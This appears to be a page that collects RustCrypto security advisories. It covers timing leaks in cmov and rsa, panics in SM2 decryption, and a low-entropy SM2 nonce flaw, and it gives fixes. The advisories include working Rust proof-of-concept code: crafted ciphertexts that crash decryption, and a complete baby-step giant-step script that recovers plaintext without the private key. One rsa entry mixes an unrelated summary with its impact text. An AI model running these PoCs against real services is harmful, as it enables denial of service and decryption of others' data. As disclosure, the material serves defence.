See how rustcrypto compares to other vendors in security performance
Summary
thumbv6m-none-eabi (Cortex M0, M0+ and M1) compiler emits non-constant time assembly when using cmovnz (portable version). I did not found any other target with the same behaviour but I did not go through all targets supported by Rust.
Details
It seems that, during mask computation, an LLVM optimisation pass is detecting that bitnz is returning 0 or 1, that can be interpreted as a boolean. This intermediate value is not masked by a call to blackbox and thus the subsequent .wrappingsub(1) can be interpreted as a conditional bitwise conditional not.
PoC
This is an attempt at having a minimal faulty code. In a library crate with an up-to-date cmov as only dependency, the content of src/lib.rs is:
rust #![nostd] use cmov::Cmov;
#[inline(never)] pub fn testctcmov(a: &mut u8, b: u8, c: u8) { a.cmovnz(&b, c); }
The resulting assembly emitted (shown using cargo asm --release --target thumbv6m-none-eabi that uses cargo-show-asm):
<details> <summary>Collapsed assembly</summary>
asm .section .text.notct::testctcmov,"ax",%progbits .globl notct::testctcmov .p2align 1 .type notct::testctcmov,%function .code 16 .thumbfunc notct::testctcmov: .fnstart .cfisections .debugframe .cfistartproc .save {r7, lr} push {r7, lr} .cfidefcfaoffset 8 .cfioffset lr, -4 .cfioffset r7, -8 .setfp r7, sp add r7, sp, #0 .cfidefcfaregister r7 .pad #8 sub sp, #8 movs r3, #0 lsls r2, r2, #24 bne .LBB02 mvns r3, r3 .LBB02: ldrb r2, [r0] str r3, [sp, #4] str r3, [sp] mov r3, sp @APP @NOAPP ldr r3, [sp] bics r1, r3 ands r2, r3 adds r1, r2, r1 strb r1, [r0] add sp, #8 pop {r7, pc}
</details>
The non-constant time assembly is:
asm bne .LBB02 mvns r3, r3 .LBB02:
Impact
The exact impact is unclear, especially since cmov clearly warns users that the portable version is best-effort.
Summary
A denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the decrypt() path performs unchecked slice::splitat operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process.
Affected Component / Versions
- File: src/pke/decrypting.rs
- Functions: DecryptingKey::decryptdigest/decrypt/decryptder, internal decrypt() implementation
- Affected releases: - sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0) - sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)
Details
The vulnerability is located in the file sm2/src/pke/decrypting.rs. The fundamental cause of the vulnerability is that the decryption function does not strictly check the ciphertext's format and length information. Consequently, a maliciously crafted ciphertext can trigger Rust's panic mechanism instead of the expected error handling (Error) mechanism. The Rust function C.splitat(L) will trigger a Panic if the length is less than L, as shown in the code comment below: the decrypting function has at least three locations where a slice operation might trigger a Panic.
rust fn decrypt( secretscalar: &Scalar, mode: Mode, hasher: &mut dyn DynDigest, cipher: &[u8], ) -> Result<Vec<u8>> { let q = U256::frombehex(FieldElement::MODULUS); let c1len = q.bits().divceil(8) 2 + 1; // Typically 65 for SM2
// B1: get 𝐶1 from 𝐶 let (c1, c) = cipher.splitat(c1len as usize); // PANIC HERE if cipher.len() < 65 let encodedc1 = EncodedPoint::frombytes(c1).maperr(Error::from)?;
// ... (lines 170-178 omitted)
let digestsize = hasher.outputsize(); // Typically 32 for SM3 let (c2, c3) = match mode { Mode::C1C3C2 => { let (c3, c2) = c.splitat(digestsize); // PANIC HERE if c.len() < 32 (c2, c3) } Mode::C1C2C3 => c.splitat(c.len() - digestsize), // PANIC HERE if c.len() < 32 };
Rust's slice::splitat panics when the split index is greater than the slice length. A panic in library code typically unwinds the thread and can crash an application if not explicitly caught. This means an attacker that can submit ciphertexts to a service using this library may cause a DoS.
Proof of Concept (PoC)
Two PoCs were added to this repository under examples/ demonstrating the two common ways to trigger the issue:
- examples/pocshortciphertext.rs — constructs a deliberately undersized ciphertext (e.g., vec![0u8; 10]) and passes it to DecryptingKey::decrypt. This triggers the cipher.splitat(c1len) panic.
rust //! PoC: trigger panic in SM2 decryption by supplying a ciphertext that is shorter //! than the expected C1 length so that cipher.splitat(c1len) panics. //! //! Usage: //! cargo run --example pocshortciphertext use randcore::OsRng; use sm2::pke::DecryptingKey; use sm2::SecretKey; fn main() { // Generate a normal secret key and DecryptingKey instance. let mut rng = OsRng; let sk = SecretKey::tryfromrng(&mut rng).expect("failed to generate secret key"); let dk = DecryptingKey::new(sk); // to trigger the vulnerability in decrypt() where it does cipher.splitat(c1len). let shortciphertext = vec![0u8; 10]; // deliberately too short println!("Calling decrypt with undersized ciphertext (len = {})...", shortciphertext.len()); // The panic is the PoC for the lack of length validation. let = dk.decrypt(&shortciphertext); // If the library were robust, this line would be reached and decrypt would return Err. println!("decrypt returned (unexpected) - PoC did not panic"); } - examples/pocdershort.rs — constructs an ASN.1 Cipher structure with valid-length x/y coordinates (from a generated public key) but with tiny digest and cipher OCTET STRING fields (1 byte each). When run with the crate built with --features std, Cipher::fromder accepts the DER and the call flows into decrypt(), which then panics on the later splitat. rust //! Usage: //! RUSTBACKTRACE=1 cargo run --example pocdershort --features std use randcore::OsRng; use sm2::SecretKey; use sm2::pke::DecryptingKey; fn buildder(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> { // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher } let mut body = Vec::new(); // INTEGER x body.push(0x02); body.push(x.len() as u8); body.extendfromslice(x); // INTEGER y body.push(0x02); body.push(y.len() as u8); body.extendfromslice(y); // OCTET STRING digest (intentionally tiny) body.push(0x04); body.push(digest.len() as u8); body.extendfromslice(digest); // OCTET STRING cipher (intentionally tiny) body.push(0x04); body.push(cipher.len() as u8); body.extendfromslice(cipher); // SEQUENCE header let mut der = Vec::new(); der.push(0x30); der.push(body.len() as u8); der.extend(body); der } fn main() { let mut rng = OsRng; let sk = SecretKey::tryfromrng(&mut rng).expect("failed to generate secret key"); // Extract recipient public key coordinates before moving the secret key into DecryptingKey let pk = sk.publickey(); let dk = DecryptingKey::new(sk); // get SEC1 encoding 0x04 || X || Y and slice out X and Y let sec1 = pk.tosec1bytes(); let sec1ref: &[u8] = sec1.asref(); let x = &sec1ref[1..33]; let y = &sec1ref[33..65]; // Very small digest and cipher to trigger length-based panics inside decrypt() let digest = [0x33u8; 1]; let cipher = [0x44u8; 1]; let der = buildder(x, y, &digest, &cipher); println!("Calling decryptder with crafted short DER (len={})...", der.len()); // Expected to panic inside decrypt() due to missing length checks when splitting let = dk.decryptder(&der); println!("decryptder returned (unexpected) - PoC did not panic"); }
Reproduction (from repository root):
bash PoC that directly uses decrypt on a short buffer cargo run --example pocshortciphertext --features std
PoC that passes a short DER to decryptder RUSTBACKTRACE=1 cargo run --example pocdershort --features std
Impact
- Direct Denial of Service: remote untrusted input can crash the thread/process handling decryption. - Low attacker effort: crafting short inputs or small DER octet strings is trivial. - Wide exposure: any application that exposes decryption endpoints and links this library is at risk.
Recommended Fix
Perform defensive length checks before any splitat usage and return a controlled Err instead of allowing a panic. Minimal fixes in decrypt():
rust let c1lenusize = c1len as usize; if cipher.len() < c1lenusize { return Err(Error); } let (c1, c) = cipher.splitat(c1lenusize);
let digestsize = hasher.outputsize(); if c.len() < digestsize { return Err(Error); } let (c2, c3) = match mode { Mode::C1C3C2 => { let (c3, c2) = c.splitat(digestsize); (c2, c3) } Mode::C1C2C3 => c.splitat(c.len() - digestsize), };
After applying these checks, decrypt() will return an error for short or malformed inputs instead of panicking.
Credit
This vulnerability was discovered by:
- XlabAI Team of Tencent Xuanwu Lab
- Atuin Automated Vulnerability Discovery Engine
CVE and credit are preferred.
If you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is xlabai@tencent.com.
Note
We follow the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.
Summary
A denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, AffinePoint::fromencodedpoint(&encodedc1) may return a None/CtOption::None when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used .unwrap(), causing a panic when presented with such input.
Affected Component / Versions
- File: src/pke/decrypting.rs
- Function: internal decrypt() (invoked by DecryptingKey::decrypt methods)
- Affected releases:
- sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0) - sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)
Details
The library decodes the C1 field (an EC point) as an EncodedPoint and then converts it to an AffinePoint using AffinePoint::fromencodedpoint(&encodedc1). That conversion returns a CtOption<AffinePoint> (or an Option equivalent) which will indicate failure when the coordinates do not satisfy the curve equation. The code then called .unwrap() on that result, causing a panic when None was returned. Because EncodedPoint::frombytes() only validates format (length and SEC1 encoding) and not mathematical validity, an attacker can craft C1 = 0x04 || X || Y with X and Y of the right length that nonetheless do not satisfy the curve. Such inputs will pass the format check but trigger fromencodedpoint() failure and therefore panic on .unwrap().
Proof of Concept (PoC)
examples/pocderinvalidpoint.rs constructs an ASN.1 DER Cipher structure with x and y set to arbitrary 32-byte values (e.g., repeating 0x11 and 0x22), and passes it to DecryptingKey::decryptder. With the vulnerable code, this produces a panic originating at the unwrap() call in decrypt(). Other APIs such as DecryptingKey::decrypt also produce a panic with invalid C1 point.
rust //! PoC: trigger invalid-point panic via decryptder by providing ASN.1 DER //! where x/y are valid-length integers but do not lie on the curve. //! //! Usage: //! RUSTBACKTRACE=1 cargo run --example pocderinvalidpoint
use randcore::OsRng; use sm2::SecretKey; use sm2::pke::DecryptingKey;
fn buildder(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> { // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher } let mut body = Vec::new();
// INTEGER x body.push(0x02); body.push(x.len() as u8); body.extendfromslice(x);
// INTEGER y body.push(0x02); body.push(y.len() as u8); body.extendfromslice(y);
// OCTET STRING digest body.push(0x04); body.push(digest.len() as u8); body.extendfromslice(digest);
// OCTET STRING cipher body.push(0x04); body.push(cipher.len() as u8); body.extendfromslice(cipher);
// SEQUENCE header let mut der = Vec::new(); der.push(0x30); der.push(body.len() as u8); der.extend(body); der }
fn main() { let mut rng = OsRng; let sk = SecretKey::tryfromrng(&mut rng).expect("failed to generate secret key"); let dk = DecryptingKey::new(sk);
// x/y are 32-byte values that almost certainly are NOT on the curve let x = [0x11u8; 32]; let y = [0x22u8; 32]; let digest = [0x33u8; 32]; let cipher = [0x44u8; 16];
let der = buildder(&x, &y, &digest, &cipher);
println!("Calling decryptder with DER (len={})...", der.len());
// Expected to panic in decrypt() when validating the point (fromencodedpoint().unwrap()) let = dk.decryptder(&der);
println!("decryptder returned (unexpected) - PoC did not panic"); }
Run locally:
bash RUSTBACKTRACE=1 cargo run --example pocderinvalidpoint --features std
The process will panic with a backtrace pointing to src/pke/decrypting.rs at the fromencodedpoint(...).unwrap() call.
Impact
- Denial of Service: an attacker who can submit ciphertext (or DER ciphertext) can crash the decrypting thread/process. - Low attacker effort: crafting random 32-byte X/Y values that are not on the curve is trivial. - Wide exposure: any service that accepts ciphertext and links this library is vulnerable.
Recommended Fix
Do not call .unwrap() on the result of AffinePoint::fromencodedpoint(). Instead, convert the CtOption to an Option (or inspect it) and return a library Err for invalid points. Example minimal fix:
rust // Return an error instead of panicking when the provided point is not on the curve. let mut c1point: AffinePoint = match AffinePoint::fromencodedpoint(&encodedc1).into() { Some(p) => p, None => return Err(Error), };
This ensures decrypt() returns a controlled error for invalid or malformed points instead of panicking.
Credit
This vulnerability was discovered by:
- XlabAI Team of Tencent Xuanwu Lab
- Atuin Automated Vulnerability Discovery Engine
CVE and credit are preferred.
If developers have any questions regarding the vulnerability details, please feel free to reach for further discussion via email at xlabai@tencent.com.
Note
This organization follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.
Summary
A critical vulnerability exists in the SM2 Public Key Encryption (PKE) implementation where the ephemeral nonce k is generated with severely reduced entropy. A unit mismatch error causes the nonce generation function to request only 32 bits of randomness instead of the expected 256 bits. This reduces the security of the encryption from a 128-bit level to a trivial 16-bit level, allowing a practical attack to recover the nonce k and decrypt any ciphertext given only the public key and ciphertext.
Affected Versions
- sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0) - sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)
This vulnerability is introduced in commit: Commit 4781762 on Sep 6, 2024, which is over a year ago.
Details
The root cause of this vulnerability is a unit mismatch in the encrypt function located in sm2/src/pke/encrypting.rs.
1. The code correctly calculates the byte-length of the curve order (256 bits / 8 = 32 bytes) and stores it in a constant NBYTES. rust const NBYTES: u32 = Sm2::ORDER.asref().bits().divceil(8); // Value is 32 (bytes) 2. However, this NBYTES value is then passed to the nextk helper function, which incorrectly interprets this value as a bit length. rust let k = Scalar::fromuint(&nextk(rng, NBYTES)?).unwrap(); 3. Inside nextk, the bitlength parameter (which holds the value 32) is passed directly to U256::tryrandombits, a function that generates a random number with the specified number of bits. rust fn nextk<R: TryCryptoRng + ?Sized>(rng: &mut R, bitlength: u32) -> Result<U256> { let k = U256::tryrandombits(rng, bitlength).maperr(|| Error)?; // ... } As a result, the ephemeral nonce k is generated with only 32 bits of entropy, with its upper 224 bits being zero. This catastrophic loss of randomness makes the encryption scheme insecure.
PoC
A proof-of-concept demonstrating the feasibility of this attack is provided in examples/bsgsrecover.rs. The PoC performs the following steps:
1. Encrypt a Message: It uses the vulnerable EncryptingKey::encrypt function to encrypt a sample message. 2. Extract Ephemeral Public Key: It parses the ciphertext to extract C1, which is the ephemeral public key [k]G. 3. Recover Nonce k: It runs a Baby-Step Giant-Step (BSGS) algorithm to search the reduced 2^32 search space for the nonce k. This attack is computationally feasible on modern hardware in seconds with time complexity O(2^16). 4. Decrypt without Secret Key: Once k is recovered, it computes the shared secret [k]PB (where PB is the recipient's public key) and successfully decrypts the ciphertext without access to the recipient's secret key.
examples/bsgsrecover.rs
rust //! Example: Recover low-entropy nonce k via Baby-Step Giant-Step (BSGS) //! //! This example intentionally demonstrates an attack on the vulnerable //! EncryptingKey::encrypt implementation which (in the current repository //! state) may generate k with only 32 bits of entropy. The example: //! - Generates a key pair and encrypts a short plaintext. //! - Extracts C1 from the ciphertext (ephemeral public key [k]G). //! - Runs BSGS over the reduced search space 2^32 to recover k and decrypt: time O(2^16), space O(2^16). //!
use std::collections::HashMap; use std::error::Error;
use randcore::OsRng;
use sm2::{ pke::Mode, pke::EncryptingKey, PublicKey, SecretKey, AffinePoint, ProjectivePoint, Scalar, }; use ellipticcurve::bigint::U256; use ellipticcurve::{Group, Curve}; use ellipticcurve::sec1::{FromEncodedPoint, ToEncodedPoint}; use sm3::{Sm3, Digest};
/// Baby-step giant-step over the 32-bit search space. fn bsgsrecoverk(c1: &AffinePoint) -> Option<U256> { // search parameters let m: u32 = 1 << 16; // baby/giant step size -> covers 2^32 space
// baby steps: jG -> j let mut baby: HashMap<Vec<u8>, u32> = HashMap::withcapacity(m as usize + 1); for j in 0..m { let ju256 = U256::fromu32(j); let s = Scalar::fromuint(&ju256).unwrap(); let p = ProjectivePoint::mulbygenerator(&s).toaffine(); let ep = p.toencodedpoint(false); baby.insert(ep.asbytes().tovec(), j); }
// giant steps for i in 0..=m { let im = (i as u64) (m as u64); let imu256 = U256::fromu64(im); let imscalar = Scalar::fromuint(&imu256).unwrap(); let impoint = ProjectivePoint::mulbygenerator(&imscalar).toaffine();
// candidate = C1 - impoint let c1proj = ProjectivePoint::from(c1); let improj = ProjectivePoint::from(&impoint); let candidateproj = c1proj + (-improj); let candidate = candidateproj.toaffine(); let candbytes = candidate.toencodedpoint(false).asbytes().tovec();
if let Some(&j) = baby.get(&candbytes) { let krecovered = im + (j as u64); return Some(U256::fromu64(krecovered)); } } None }
/// KDF using SM3 (re-implementation of crate internal kdf). fn kdfsm3(kpb: AffinePoint, c2: &mut [u8]) { let mut hasher = Sm3::new(); let klen = c2.len(); let mut ct: u32 = 0x00000001; let digestsize = 32usize; // SM3 output is 32 bytes let mut ha = vec![0u8; digestsize]; let encodepoint = kpb.toencodedpoint(false);
let mut offset = 0usize; while offset < klen { hasher.update(encodepoint.x().unwrap()); hasher.update(encodepoint.y().unwrap()); hasher.update(&ct.tobebytes()); let out = hasher.finalizereset(); ha.copyfromslice(out.asslice());
let xorlen = core::cmp::min(digestsize, klen - offset); for i in 0..xorlen { c2[offset + i] ^= ha[i]; } offset += xorlen; ct = ct.wrappingadd(1); } }
/// Decrypt ciphertext given recovered k and recipient public key (without secret key). fn decryptwithk(pubkey: &PublicKey, k: U256, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> { // parse c1 let nbytes = sm2::Sm2::ORDER.asref().bits().divceil(8) as usize; // 32 let c1len = nbytes 2 + 1; if ciphertext.len() < c1len { return Err("ciphertext too short".into()); } let (c1bytes, rest) = ciphertext.splitat(c1len);
// derive shared point hpb = [hk]PB; for SM2 cofactor h == 1 so this is [k]PB let pbaffine = pubkey.asaffine(); let kscalar = Scalar::fromuint(&k).unwrap(); let s = pbaffine; // cofactor h == 1 let hpb = (s kscalar).toaffine();
// split rest into c2 and c3 depending on mode let digestsize = 32usize; // SM3 output size let (c2slice, c3slice) = match mode { Mode::C1C2C3 => { let c2len = rest.len() - digestsize; rest.splitat(c2len) } Mode::C1C3C2 => { let (c3, c2) = rest.splitat(digestsize); (c2, c3) } };
let mut c2 = c2slice.toowned(); // KDF to recover plaintext kdfsm3(hpb, &mut c2);
// verify c3 let mut check = Sm3::new(); let enc = hpb.toencodedpoint(false); check.update(enc.x().unwrap()); check.update(&c2); check.update(enc.y().unwrap()); let out = check.finalizereset(); if out.asslice() != c3slice { return Err("c3 verification failed".into()); }
Ok(c2) }
/// High-level: given ciphertext and recipient public key, recover k via BSGS and decrypt. fn recoveranddecrypt(pubkey: &PublicKey, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> { // extract C1 let nbytes = sm2::Sm2::ORDER.asref().bits().divceil(8) as usize; // 32 let c1len = nbytes 2 + 1; let (c1bytes, rest) = ciphertext.splitat(c1len); let encoded = sm2::EncodedPoint::frombytes(c1bytes)?; let c1affine = AffinePoint::fromencodedpoint(&encoded).unwrap();
if let Some(k) = bsgsrecoverk(&c1affine) { println!("recovered k = 0x{:x}", k); let plain = decryptwithk(pubkey, k, ciphertext, mode)?; return Ok(plain); } Err("failed to recover k".into()) }
fn main() -> Result<(), Box<dyn Error>> { // demo: generate keypair, encrypt, then recover and decrypt without secret key let mut rng = OsRng; let sk = SecretKey::tryfromrng(&mut rng)?; let pk = sk.publickey(); let ek = EncryptingKey::newwithmode(pk, Mode::C1C2C3); let msg = b"attack-demo-sm2-bsgs-recover-example"; let ct = ek.encrypt(&mut rng, msg)?; print!("Trying to recover k and decrypt...\n"); let recovered = recoveranddecrypt(&pk, &ct, Mode::C1C2C3)?; println!("recovered plaintext: {}", std::str::fromutf8(&recovered)?); Ok(()) }
To run the PoC (tested on Apple M3):
bash $ time cargo run --example bsgsrecover Trying to recover k and decrypt... recovered k = 0x00000000000000000000000000000000000000000000000000000000ca4f2d79 recovered plaintext: attack-demo-sm2-bsgs-recover-example cargo run --example bsgsrecover 14.44s user 0.13s system 89% cpu 16.266 total
Impact
This vulnerability leads to a complete loss of confidentiality for all data encrypted using the SM2 PKE implementation in this library. Any attacker who obtains a ciphertext can recover the plaintext in a feasible amount of time (several seconds).
The severity is Critical, as it breaks the core security promise of the public key encryption scheme. All versions of the sm2 crate with the vulnerable PKE implementation are affected.
- Fix 1: Modify the input parameter to the correct 256 bits
rust let kuint = nextk(rng, NBYTES 8)?;
- Fix 2: We believe that the nextk function should only generate a 256-bit nonce to ensure security, therefore the parameter is unnecessary.
rust fn nextk<R: TryCryptoRng + ?Sized>(rng: &mut R) -> Result<U256> { loop { let k = U256::tryrandombits(rng, 256).maperr(|| Error)?; if !bool::from(k.iszero()) && k < Sm2::ORDER { return Ok(k); } } }
Credit
This vulnerability was discovered by:
- XlabAI Team of Tencent Xuanwu Lab - Atuin Automated Vulnerability Discovery Engine
CVE and credit are preferred.
If developers have any questions regarding the vulnerability details, please feel free to reach out for further discussion via email at xlabai@tencent.com.
Note
SM2 follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, the organization reserves the right to publicly disclose all information about the issues after this timeframe.
The rsa crate is an RSA implementation written in rust. Prior to version 0.9.10, when creating a RSA private key from its components, the construction panics instead of returning an error when one of the primes is 1. Version 0.9.10 fixes the issue.
Impact Due to a non-constant-time implementation, information about the private key is leaked through timing information which is observable over the network. An attacker may be able to use that information to recover the key.
Patches No patch is yet available, however work is underway to migrate to a fully constant-time implementation.
Workarounds The only currently available workaround is to avoid using the rsa crate in settings where attackers are able to observe timing information, e.g. local use on a non-compromised computer is fine.
References This vulnerability was discovered as part of the "Marvin Attack", which revealed several implementations of RSA including OpenSSL had not properly mitigated timing sidechannel attacks.
- https://rustsec.org/advisories/RUSTSEC-2023-0071.html - https://people.redhat.com/~hkario/marvin/ - https://github.com/RustCrypto/RSA/issues/19